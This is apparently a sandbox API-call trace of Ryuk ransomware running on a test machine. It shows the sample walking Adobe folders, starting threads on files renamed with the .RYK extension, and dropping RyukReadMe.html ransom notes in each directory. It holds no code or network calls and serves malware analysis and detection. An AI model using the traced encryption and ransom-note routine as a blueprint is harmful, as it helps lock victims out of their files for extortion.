	[0205.705] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0205.705] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.706] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0205.706] SetLastError (dwErrCode=0x0) 
	[0205.706] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0205.706] GetLastError () returned 0xb7
	[0205.706] CloseHandle (hObject=0x4e4) returned 1
	[0205.706] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0205.707] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.707] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0205.707] SetLastError (dwErrCode=0x0) 
	[0205.707] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.707] GetLastError () returned 0x3
	[0205.707] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0205.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.708] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0205.708] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.708] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x470ddb90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x20a, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0205.708] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504
	[0205.711] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.712] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47129e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x20a, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0205.712] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.713] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508
	[0205.714] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.715] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20a, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0205.715] SetLastError (dwErrCode=0x0) 
	[0205.715] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.716] GetLastError () returned 0x3
	[0205.716] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0205.716] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.716] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x214, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0205.716] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x214, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.716] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47801d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x214, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0205.717] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510
	[0205.720] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.720] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x214, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.720] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46e0a170, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46e0a170, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46e0a170, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x214, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0205.721] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0205.721] SetLastError (dwErrCode=0x0) 
	[0205.721] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0205.721] GetLastError () returned 0x3
	[0205.721] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0205.722] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0205.722] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46de4010, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46de4010, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46de4010, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x20a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.722] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4784e050, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x20a, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0205.722] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c
	[0206.127] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.128] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x20a, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0206.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514
	[0206.131] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.132] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x479589f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x20a, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0206.132] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0206.132] SetLastError (dwErrCode=0x0) 
	[0206.132] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.132] GetLastError () returned 0x3
	[0206.132] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0206.133] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.133] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0206.133] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0206.133] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0206.133] SetLastError (dwErrCode=0x0) 
	[0206.133] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0206.133] GetLastError () returned 0x3
	[0206.133] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0206.133] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0206.134] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0206.134] SetLastError (dwErrCode=0x0) 
	[0206.134] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4
	[0206.134] GetLastError () returned 0xb7
	[0206.134] CloseHandle (hObject=0x4e4) returned 1
	[0206.134] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0206.135] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0206.135] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4790c730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0206.135] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0206.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec
	[0206.139] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0206.139] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0206.139] SetLastError (dwErrCode=0x0) 
	[0206.140] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518
